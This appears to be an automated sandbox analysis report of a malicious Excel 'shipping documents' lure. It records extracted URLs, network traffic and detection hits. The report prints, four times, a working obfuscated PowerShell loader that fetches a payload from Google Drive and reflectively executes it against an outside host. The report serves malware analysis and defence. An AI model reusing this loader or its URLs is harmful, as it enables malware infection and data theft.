Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493058741.000000000229F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.442283646.0000000002181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493475801.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.481877021.00000000020F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.493475801.00000000025F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 0000001A.00000002.525200157.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downloa
Source: powershell.exe, 0000001A.00000002.525200157.0000000002632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Source: powershell.exe, 0000000E.00000002.493475801.00000000025F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=downloap
Source: powershell.exe, 0000000E.00000002.493475801.00000000027C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 0000000E.00000002.493475801.00000000027C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mpa.li/
Source: mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mpa.li/(
Source: mshta.exe, 00000004.00000002.417853358.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mpa.li/3
Source: mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mpa.li/b
Source: mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415290923.000000000051E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.000000000054F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000054F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.0000000000565000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.00000000004EF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.0000000000565000.00000004.00000020.00020000.00000000.sdmp, Shipping Documents WMLREF115900.xls, A4230000.0.dr	String found in binary or memory: https://mpa.li/uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display
Source: mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mpa.li/~
Source: powershell.exe, 00000005.00000002.442283646.000000000238B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493058741.000000000229F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

Source: unknown	HTTPS traffic detected: 5.159.62.244:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.159.62.243:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.159.62.243:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.159.62.243:443 -> 192.168.2.22:49173 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 4000, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3560, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: Shipping Documents WMLREF115900.xls	OLE: Microsoft Excel 2007+
Source: A4230000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingstobegoodwithhislifebestthigns[1].hta

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

